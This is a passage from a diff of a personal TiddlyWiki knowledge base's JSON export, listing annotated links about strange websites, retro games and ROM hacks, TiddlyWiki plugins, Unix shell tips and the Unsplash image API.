answer\nyour questions. Our AI bots will answer your questions in seconds.// --- it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:\n** [[allowfullscreen|https://www.allowfullscreen.com/]] --- //an HTML attribute for the iframe tag// --- a website with some basic information about the attribute, but with some strange details, and some actually decent examples\n** [[querySelectorAll()|https://www.queryselectorall.com/]] --- //a website dedicated to the best JavaScript function in the world!// --- some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"}, +{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240128004926112","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ ░ ui▀┳╲ ☺ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - 煙霧動力.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], \u003C\u003ChttpsL it.knowledgr.com>> ... --- SEO spamming websites with fake content... which sometimes seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Questions LLC|https://questions.llc/]] --- //Use AI to answer\nyour questions. Our AI bots will answer your questions in seconds.// --- it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:\n** [[allowfullscreen|https://www.allowfullscreen.com/]] --- //an HTML attribute for the iframe tag// --- a website with some basic information about the attribute, but with some strange details, and some actually decent examples\n** [[querySelectorAll()|https://www.queryselectorall.com/]] --- //a website dedicated to the best JavaScript function in the world!// --- some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"}, {"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240118233234375","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n* \u003C\u003CYoutubeL _5IDmXNS14I \"UNDETECTABLE Cheats Jeopardize Super Mario 64 Speedrunning!?\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"}, {"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20240119011227992","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[SMBDIS.ASM - A Comprehensive Super Mario Bros. Disassembly|https://gist.github.com/1wErt3r/4048722]]\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"}, {"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20240119124309074","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n* [[DiztinGUIsh (\"Diz\")|https://github.com/IsoFrieze/DiztinGUIsh]] --- //A Super NES ROM Disassembler and tracelog capture/analysis tool with a focus on collaborative workflow UX. Exports .asm files ready to be compiled back into the original binary. Written in Winforms/C#.//\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"}, @@ -1455,7 +1459,7 @@ {"title":"The World Factbook","created":"20230208214932674","creator":"Octt","modified":"20230208215147789","modifier":"Octt","tags":"USA Gov. Book Site Web","text":"\u003C\u003CMediaWiki The_World_Factbook en 5>>"}, {"title":"Thioacetone","created":"20230302113309813","creator":"Octt","modified":"20230302114235452","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Thioacetone en>>\n\n* [[Things I Won't Work With: Thioacetone|https://www.science.org/content/blog-post/things-i-won-t-work-thioacetone]]\n* \u003C\u003CYoutubeL LmAG8-V_WQY \"Making the stinkiest chemical known to man [NileRed]\">>\n"}, {"title":"TIC-80","created":"20230215213023824","creator":"Octt","modified":"20231122002929792","modifier":"Octt","tags":"Libre Fantasy Console Gaming","text":"* https://tic80.com/\n* https://github.com/nesbox/TIC-80\n\n\u003C\u003CWikipediaFrame TIC-80 en>>\n\n* [[Making fifty TIC-80 carts in a weekend|https://blinry.org/50-tic80-carts/]] \n* [[TIC80 - A Better Pico8?|https://8bitnews.io/article/tic80-a-better-pico8]]\n\n* [[TIC-80 Manual & Cheat Sheet|https://skyelynwaddell.github.io/tic80-manual-cheatsheet/]]\n"}, -{"title":"TiddlyWiki","created":"20220924193842295","creator":"Octt","icon":"🐈","modified":"20231223140546807","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?computer-cat","tags":"TiddlyWiki Wiki Zettelkasten Libre","text":"\\define TwLL(Tid) [[$Tid$|https://tiddlywiki.com/#$Tid$]]\n\n\\define TwL(List)\n|\n\u003C$list filter=\"$List$\">\n \u003C$macrocall $name=\"TwLL\" Tid=\u003C\u003CcurrentTiddler>> />\n |\n\u003C/$list>\n\\end\n\n[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003C^wikipediaframe TiddlyWiki en>>\n\n; What I like\n: All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.\n: The base software runs both in the web browser (ES5 or higher?) and [[Node.js]]; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...\n: Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.\n: Big community, meaning you can often get help with problems, and many third-party plugins are available.\n: The default configuration works fine on mobile devices, unlike what happens with some plugins.\n\n; What I don't like\n: The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.\n: [[JavaScript]] extensions are cumbersome, requiring a page reload to work after an edit\n: It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.\n: Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.\n: No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n!!! Notes about ''official plugins''\n\n* There exists the useful [[BrowserStorage plugin|https://tiddlywiki.com/static/BrowserStorage%2520Plugin.html]], good when working on browsers that crash or when tabs reload themselves.\n** For optimal extra features like status indicators on tiddlers, or list of in-storage tiddlers, there exists the [[tw-browser-storage|https://btheado.github.io/tw-browser-storage]] plugin to extend the official one \u003C\u003C[# Git \"https://github.com/btheado/tw-browser-storage\">>. It has some technical issues so I made some edits: [[$:/plugins/btheado/BrowserStorage (drag to install)|$:/plugins/btheado/BrowserStorage]].\n\n!!! Misc\n\n* [[Fun with Feeds (a proof of concept RSS reader)|https://talk.tiddlywiki.org/t/fun-with-feeds-a-proof-of-concept-rss-reader/6490]] --- \u003C\u003C[# TiddlyWiki\"https://saqimtiaz.github.io/sq-tw/temp/feedreader.html\">> (use CTRL+Shift+L to switch to normal UI)\n\n* [[Has anyone generated an RSS feed from TiddlyWiki?|https://talk.tiddlywiki.org/t/has-anyone-generated-an-rss-feed-from-tiddlywiki/966/25]]\n** [[RSS and Atom Feeds for your TiddlyWiki|https://techlifeweb.com/tiddlywiki/tw5tribalknowledge/static/RSS%2520and%2520Atom%2520Feeds%2520for%2520your%2520TiddlyWiki.html]]\n\n\u003C\u003C{\u003C TiddlyWiki/ThirdParty>>\n\n!!! ''Useful Documentation or Articles''\n* \u003C\u003CTwL \" DateFormat \">>\n* \u003C\u003CTwL \" [[Filter Operators]] \">>\n* \u003C\u003CTwL \" MacroCallWidget SetWidget VarsWidget\">>\n* \u003C\u003CTwL \" EditTextWidget RangeWidget CheckboxWidget\">>\n* \u003C\u003CTwL \" [[Table-of-Contents Macros (Examples)]] \">>\n* \u003C\u003CTwL \" [[How to create dynamic editor toolbar buttons]] [[How to create keyboard shortcuts]] \">>\n* [[How to Use Unicode Character (emoji) as Icon of Tags|https://dmitryrck.com/unicode-character-icon-of-tags-tiddlywiki/]] \u003C\u003CTwL \" [[How to create a custom tiddler icon rule]] \">>\n* [[How To Use Tiddlywiki as a Static Site Generator|https://rpdillon.net/how-to-use-tiddlywiki-as-a-static-site-generator.html]]\n\n\u003C\u003C{\u003C TiddlyWiki/Notes 3>>\n\n!! ''Notes/Personal''\n* [[OcttKB/WIP]]"}, +{"title":"TiddlyWiki","created":"20220924193842295","creator":"Octt","icon":"🐈","modified":"20240127225041667","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?computer-cat","tags":"TiddlyWiki Wiki Zettelkasten Libre","text":"\\define TwLL(Tid) [[$Tid$|https://tiddlywiki.com/#$Tid$]]\n\n\\define TwL(List)\n|\n\u003C$list filter=\"$List$\">\n \u003C$macrocall $name=\"TwLL\" Tid=\u003C\u003CcurrentTiddler>> />\n |\n\u003C/$list>\n\\end\n\n[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003C^wikipediaframe TiddlyWiki en>>\n\n; What I like\n: All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.\n: The base software runs both in the web browser (ES5 or higher?) and [[Node.js]]; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...\n: Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.\n: Big community, meaning you can often get help with problems, and many third-party plugins are available.\n: The default configuration works fine on mobile devices, unlike what happens with some plugins.\n\n; What I don't like\n: The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.\n: [[JavaScript]] extensions are cumbersome, requiring a page reload to work after an edit\n: It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.\n: Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.\n: No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n!!! Notes about ''official plugins''\n\n* There exists the useful [[BrowserStorage plugin|https://tiddlywiki.com/static/BrowserStorage%2520Plugin.html]], good when working on browsers that crash or when tabs reload themselves.\n** For optimal extra features like status indicators on tiddlers, or list of in-storage tiddlers, there exists the [[tw-browser-storage|https://btheado.github.io/tw-browser-storage]] plugin to extend the official one \u003C\u003C[# Git \"https://github.com/btheado/tw-browser-storage\">>. It has some technical issues so I made some edits: [[$:/plugins/btheado/BrowserStorage (drag to install)|$:/plugins/btheado/BrowserStorage]].\n\n!!! Misc\n\n* [[Fun with Feeds (a proof of concept RSS reader)|https://talk.tiddlywiki.org/t/fun-with-feeds-a-proof-of-concept-rss-reader/6490]] --- \u003C\u003C[# TiddlyWiki\"https://saqimtiaz.github.io/sq-tw/temp/feedreader.html\">> (use CTRL+Shift+L to switch to normal UI)\n\n* [[Has anyone generated an RSS feed from TiddlyWiki?|https://talk.tiddlywiki.org/t/has-anyone-generated-an-rss-feed-from-tiddlywiki/966/25]]\n** [[RSS and Atom Feeds for your TiddlyWiki|https://techlifeweb.com/tiddlywiki/tw5tribalknowledge/static/RSS%2520and%2520Atom%2520Feeds%2520for%2520your%2520TiddlyWiki.html]]\n\n* [[Sttot Stack|https://gk0wk.github.io/]] --- gk0wk wiki displayed with a particular tiddler reader web-app, not based on the real TW app\n\n\u003C\u003C{\u003C TiddlyWiki/ThirdParty>>\n\n!!! ''Useful Documentation or Articles''\n* \u003C\u003CTwL \" DateFormat \">>\n* \u003C\u003CTwL \" [[Filter Operators]] \">>\n* \u003C\u003CTwL \" MacroCallWidget SetWidget VarsWidget\">>\n* \u003C\u003CTwL \" EditTextWidget RangeWidget CheckboxWidget\">>\n* \u003C\u003CTwL \" [[Table-of-Contents Macros (Examples)]] \">>\n* \u003C\u003CTwL \" [[How to create dynamic editor toolbar buttons]] [[How to create keyboard shortcuts]] \">>\n* [[How to Use Unicode Character (emoji) as Icon of Tags|https://dmitryrck.com/unicode-character-icon-of-tags-tiddlywiki/]] \u003C\u003CTwL \" [[How to create a custom tiddler icon rule]] \">>\n* [[How To Use Tiddlywiki as a Static Site Generator|https://rpdillon.net/how-to-use-tiddlywiki-as-a-static-site-generator.html]]\n\n\u003C\u003C{\u003C TiddlyWiki/Notes 3>>\n\n!! ''Notes/Personal''\n* [[OcttKB/WIP]]"}, {"title":"TiddlyWiki/Notes","created":"20230127155833205","creator":"Octt","modified":"20231105151047506","modifier":"Octt","tags":"TiddlyWiki $:/i18n:en Discussion","text":"!!! ''Discussions and Solutions''\n\nDiscussions that helped or might help me solve problems, some started by me. And also some that are just plain interesing.\n\n* [[How do you edit your wiki with both the web app and external editors?|https://talk.tiddlywiki.org/t/how-do-you-edit-your-wiki-with-both-the-web-app-and-external-editors/6320]]\n* [[Multilanguage Wiki - Found a solution, but need help for improving it|https://talk.tiddlywiki.org/t/multilanguage-wiki-found-a-solution-but-need-help-for-improving-it/4672]]\n\n\u003Cdiv/>\n\n* [[Date time wiki last updated or saved?|https://groups.google.com/g/TiddlyWiki/c/RxJdciY7yZY]]\n* [[Disable CodeMirror when on Mobile|https://github.com/Jermolene/TiddlyWiki5/issues/2730]]\n* [[Footnotes|https://groups.google.com/g/tiddlywiki/c/u5A6qK7CmrY]]\n* [[I want to edit something, oh no that's a transclusion|https://groups.google.com/g/TiddlyWiki/c/tYgM6kh9lNA]] | [[How do I transclude an edit window of a tiddler?|https://groups.google.com/g/tiddlywiki/c/GsMkfxSPkmA/m/cxGdAieIBgAJ]] | [[How to quickly navigate to a transcluded tiddler?|https://talk.tiddlywiki.org/t/how-to-quickly-navigate-to-a-transcluded-tiddler/4535/5]]\n* [[Is there way to make TiddlyWiki system-wide case insensitive?|https://groups.google.com/g/tiddlywiki/c/BcEF4fTzCj8]]\n* [[Macro to Create TOC Like Table with Dot Leader|https://talk.tiddlywiki.org/t/a-macro-to-create-toc-like-table-with-dot-leader/1232]]\n* [[Simple Javascript insertion in tiddlers (text/vnd.tiddlywiki)|https://groups.google.com/g/tiddlywiki/c/NwOI-QER2ig/m/lSLS3XolwDoJ]]\n* [[[TW5] Tag (Text) Cloud for TW5?|https://groups.google.com/g/tiddlywiki/c/_YE1pjZMFkg]] | [[TagCloud plugin|https://groups.google.com/g/tiddlywiki/c/VQPaJC6yyWM]]\n* [[Setting HTML attributes with a macro?|https://groups.google.com/g/tiddlywiki/c/Qp8Fzi0BR5I/m/N65Q6thTEwAJ]]\n* [[[Plugin] Presenting TW5-Uglify! Plugin compression the TiddlyWIki way!|https://groups.google.com/g/tiddlywiki/c/-kIVw00crRQ]]\n* [[TiddlyWiki Tiddler Editor: How to Improve the Usability?|https://talk.tiddlywiki.org/t/tiddlywiki-tiddler-editor-how-to-improve-the-usability/4657]]\n* [[Using conditional assignment mode of SetWidget to check empty strings|https://groups.google.com/g/tiddlywiki/c/Pzv5FDb9oHE/m/mh5Pzm7xAgAJ]]\n* [[Notes on handling variables in TiddlyWiki|https://www.chrisnicoll.net/2020/02/notes-on-handling-variables-in-tiddlywiki/]]\n* [[Macros are not functions (Grok TW)|https://groktiddlywiki.com/static/Macros%2520are%2520not%2520functions.html]]\n* [[Wikification (Grok TW)|https://groktiddlywiki.com/static/Wikification.html]]\n"}, {"title":"TiddlyWiki/Snippets to Test","created":"20220922163220116","modified":"20230111082334125","tags":"Snippets TiddlyWiki","text":"\u003Cstyle>\ntr:nth-child(even) {background-color: #f2f2f2;}\n\u003C/style>"}, {"title":"TiddlyWiki/ThirdParty","created":"20230206113426599","creator":"Octt","modified":"20231220220541649","modifier":"Octt","tags":"","text":"!!! ''Other Wikis, Plugin Collections''\n\n* [[BrainTest|https://braintest.tiddlyspot.com]] --- //tools for a digital brain//\n* [[Calendar|https://tabbed-calendar.tiddlyspot.com]] --- //a tabbed picture calendar//\n* [[Joe's Blog|https://joearms.github.io]] --- Contains the [[Chandler|https://joearms.github.io/#2018-12-26%20Fun%20with%20the%20TiddlyWiki]] prototype time-management tool\n* [[kookma's codes, macros, and solutions in TW|https://kookma.github.io/TW-Scripts]]\n* Kookma Plugin Library --- \u003C\u003C[ \"[[Drag To Install|$:/config/KookmaPluginLibrary]]\">>\n* [[NoteSelf|https://noteself.org]] --- TiddlyWiki fork/flavor with interesting features built-in - [[[Git|https://github.com/NoteSelf]]]\n* [[Projectify|https://thaddeusjiang.github.io/Projectify]] --- //Project management for TiddlyWiki// - [[[Git|https://github.com/ThaddeusJiang/Projectify]]]\n* [[Saq's TW5 Sandbox|https://saqimtiaz.github.io/tw5-plugins-sandbox]] --- //Experimental doodads//\n* [[Stroll|https://giffmex.org/stroll/stroll.html]] --- //A Roam-like experience in a free, downloadable file//\n* [[The public musings of Soren Bjornstad (Zettelkasten)|https://zettelkasten.sorenbjornstad.com]]\n* [[TiddlyMap|http://tiddlymap.org]] --- //Map drawing and topic visualization for your wiki!// --- [[[Git|https://github.com/felixhayashi/TW5-TiddlyMap]]]\n* [[TiddlySeq|https://gk0wk.github.io/TiddlySeq/]] --- //Logseq-like TiddlyWiki Template// --- \u003C\u003C[ \"[[Git|https://github.com/Gk0Wk/TiddlySeq]]\">>\n* [[TiddlyTools for TW5|https://tiddlytools.com/]] --- //Small Tools for Big Ideas!™//\n* [[Tobias Beer's Plugins and Resources|https://tobibeer.github.io]] --- [[[Profile|https://tobibeer.github.io/tb5/#Tobias%20Beer]]] [[[Git|https://github.com/tobibeer]]]\n* [[TW5 CPL Wiki|https://tw-cpl.netlify.app]] --- //TiddlyWiki5 Plugin Library for TiddlyWiki Chinese Communities// --- \u003C\u003C[ \"[[Drag to install|$:/config/TiddlyWiki-CPL/GitHub]]\">>\n* [[TW5 Magick|https://tw5magick.tiddlyspot.com]] --- //Some tricks and snippets for TiddlyWiki 5//\n* [[TW5 Plugins, Themes, Hacks by Thomas Elmiger|https://tid.li/tw5/]] --- //Build or optimise your own application for notetaking, writing or a ToDo-list system with these tools//\n** [[Presenting the Details Widget|https://groups.google.com/g/tiddlywiki/c/sRUVnlIaT3E]]\n* [[ZemoxWiki|https://zemox.tiddlyspot.com]] --- //a haphazard meandering of notes, thoughts, experiments, links...//\n\n!!!! ''More personal TiddlyWikis''\n* [[Dave and Blanca Gifford's homepage|https://giffmex.org/Welcome.html]]\n* [[Eberron Tiddlywiki|https://eberron.tiddlyhost.com/]] --- //campaign setting for D&D designed for telling fantastical pulp and noir stories// --- \u003C\u003C[ \"[[Git|https://github.com/wccbuck/eberron_tw/]]\">>\n* [[ℍ𝕪𝕡𝕖𝕣𝔱𝔢𝔵𝔱: h0p3|https://h0p3.neocities.org/]] (old domain: [[philosopher.life|https://web.archive.org/web/20221227170107/https://philosopher.life/]])\n* [[makiaea|https://makiaea.org/00045/20230414makiaea.html]] --- contains a cool/strange choose-your-own-adventure thing\n\n!!!! ''Individual Plugins''\n\n* [[Archipel|https://archipel.tiddlyspot.com/]] --- //Data visualization Knowledge map of tiddler's ToC, as zoomable circle packs// --- [[[Discussion|https://groups.google.com/g/tiddlywiki/c/wZZ-84FV0-k]]]\n* [[CodeMirrorPlus|https://adithya-badidey.github.io/TW5-codemirror-plus/]] --- //A better editor for TW5, based on ~CodeMirror// --- [[Demo|https://adithya-badidey.github.io/TW5-codemirror-plus/wiki.html]] | [[Git|https://github.com/adithya-badidey/TW5-codemirror-plus]]\n* [[Context Plugin|https://contextplugin.tiddlyspot.com]] --- //search with context//\n* [[Daily Notes|https://github.com/akhater/Daily-Notes-for-TW5]] - //Interstitial Journaling plugin//\n* [[ECharts|https://tiddly-gittly.github.io/tw-echarts]] [[[Git|https://github.com/tiddly-gittly/tw-echarts]], [[Thread|https://talk.tiddlywiki.org/t/echarts-bringing-amazing-visualization-tools-to-tiddlywiki/1944]]] --- //An All-in-one Visualization Framework for TiddlyWiki5 based on ECharts//\n* [[enable-js|http://tobibeer.github.io/tw/enable-js]] --- //using inline script tags//\n* [[ibox|https://tobibeer.github.io/tw/ibox]] - //pretty-show images in tw5//\n* [[TW5 Locator|https://bimlas.gitlab.io/tw5-locator/]] --- //discover and search by context//, with polished field filtering features --- \u003C\u003C[ \"[[Git|https://gitlab.com/bimlas/tw5-locator]]\">>\n* [[Notion-like Icon And PageCover|https://gk0wk.github.io/TiddlySeq/#Notion-like%20Icon%20And%20PageCover]] --- \u003C\u003C[ \"[[Thread|https://talk.tiddlywiki.org/t/notion-like-icon-and-pagecover/1741]]\">>\n* [Kookma] [[Refnotes|https://kookma.github.io/TW-Refnotes/]] --- //references, citations, footnotes and abbreviations// --- [[[Git|https://github.com/kookma/TW-Refnotes]]]\n* \u003C\u003Clinkdescgit Relink \"https://flibbles.github.io/tw5-relink\" \"flexibility when relinking renamed tiddlers\" \"https://github.com/flibbles/tw5-relink\">>\n* [[Section Editor|https://kookma.github.io/TW-Section]] --- //create, edit, fold, manage sections// --- [[Git|https://github.com/kookma/TW-Section]] | [[Prototype discussion|https://talk.tiddlywiki.org/t/section-editor-prototype/951]]\n* \u003C\u003Clink+desc+git Streams \"https://saqimtiaz.github.io/streams/\" \"Streams is a keyboard friendly way to write and easily divide your text into separate tiddlers while writing.\" \"https://github.com/saqimtiaz/streams\">> --- Adds a structural-visual hierarchy system to TiddlyWiki like Notion/Logseq.\n* [[Syntax-Highlighting Tiny Editor|https://talk.tiddlywiki.org/t/tw5-ready-to-play-prototype-syntax-highlighting-tiny-editor/4569]] (Ready-to-play prototype) --- [[Download|https://talk.tiddlywiki.org/uploads/short-url/853ile3OvoeJ9uowpv0YYXnKhSe.json]]\n\n* [[Keyboard Navigation|https://keynav.tiddlyhost.com/]] --- //A plugin to add keyboard navigation of TiddlyWiki's Story River.//\n* [[tw5-keyboard-navigation|https://maximilian-schillinger.de/tw5-keyboard-navigation-plugin.html]] --- //Navigate through your TiddlyWiki5 with your keyboard: jump to next/previous tiddler, edit or close tiddler// --- \u003C\u003C[# Git\"https://github.com/MaxGyver83/tw5-keyboard-navigation\">>\n\n* [[TWCrossLinks|https://github.com/akhater/TWCrossLinks]] --- //Discover all your intra-tiddlers links//\n\n!!!! ''Individual Themes''\n\n* [[Notebook theme|https://nicolas.petton.fr/tw/notebook.html]] --- //clean, uncluttered theme for TiddlyWiki// --- \u003C\u003C[# Git\"https://github.com/NicolasPetton/notebook\">>\n* [[👻✨ whitespace theme|http://j.d.whitespace.tiddlyspot.com/]] --- //negative-spacious, webapp-nostalgic theme for TiddlyWiki//\n"}, @@ -1473,7 +1477,7 @@ {"title":"Unix","created":"20230202232344991","creator":"Octt","modified":"20230608141303707","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Unix>>\n\n* [[MINIX From Scratch|https://github.com/o-oconnell/minixfromscratch]] - //Development and compilation setup for the book version of MINIX 3//\n\n!!! ''How-to''\n\n* [[Make subdirectory writable by anyone even if parent folder is not|https://unix.stackexchange.com/a/490082]]\n"}, {"title":"Unix/Shell","created":"20230605214923345","creator":"Octt","modified":"20231119150258479","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Unix Shell\">>\n\n* [[Input Field Separators|https://en.wikipedia.org/wiki/Input_Field_Separators]]\n* [[$PWD vs. pwd regarding portability|https://stackoverflow.com/questions/10795014/pwd-vs-pwd-regarding-portability]] --- `$(pwd)` has issues with paths with newline chars, `$PWD` is fine but can be wrongly reset by badly-made programs; all appear to be available on all good shells.\n\n* [[Get/use exit code of command|https://www.cyberciti.biz/faq/bash-get-exit-code-of-command/]] --- Variable `$?`\n\n* [[Split string with symbol|https://stackoverflow.com/a/10638555]]\n* [[How to find the last field using 'cut'|https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut]] --- `echo 'maps.google.com' | rev | cut -d'.' -f 1 | rev`\n* [[Check if a string begins with some value|https://stackoverflow.com/questions/2172352/in-bash-how-can-i-check-if-a-string-begins-with-some-value#18558871]] --- `beginswith(){ case $2 in \"$1\"*) true;; *) false;; esac; }`\n* [[Remove the extension of a filename, get filename path, ... using POSIX's built-in script only|https://gist.github.com/nimula/385938957bb96234aa62abc6ed8f950e]]\n** [[How can I remove the extension of a filename in a shell script?|https://stackoverflow.com/questions/12152626/how-can-i-remove-the-extension-of-a-filename-in-a-shell-script]]\n\n* \"error: arithmetic expression: expecting primary\"... --- happens when calling an arithmetic expression (e.g. `$(( 5 * 7 ))`) with a missing parameter, or with quotes, in `sh`; `bash` accepts quotes and doesn't error instead. Don't use quotes in mathexps in `sh`.\n"}, {"title":"Unsplash","created":"20230114161806791","creator":"Octt","icon":"🎆","modified":"20230221195107270","modifier":"Octt","page-cover":"https://source.unsplash.com/random?web-design","tags":"Internet $:/i18n:en $:/Apps","text":"\u003C!--\n\\define URLRnd() https://source.unsplash.com/random?\u003C$macrocall $name=\"now\"/>\u003C\u003Cnow \"hh.mm.ss.XXX\">>\n--->\n\n''[[Unsplash|https://unsplash.com]]'' provides royalty-free and credit-free pictures, sorted by category and easily obtainable trough both a webapp and an HTTP GET API (even without authentication), under the \"Unsplash license\".\n\n\u003C\u003C^wikipediaframe Unsplash en>>\n\nMany decorative images on this KB are hotliked from Unsplash; some randomly, some not.\n\n!!! ''Unauthenticated API''\n\nThe base URL for all following endpoints is `https://source.unsplash.com`.\n\n\u003C\u003C\u003C\n(Adapted from [[Generate Random Images From Unsplash Without Using The API|https://awik.io/generate-random-images-unsplash-without-using-api/]])\n\nThe URL schema is the following:\n\n```txt\nhttps://source.unsplash.com/{From}/[Size]/?[Keywords]\n```\n\n; `{From}`\n: `/random` - Image from a random user\n: `/user/{Username}` - Image from a 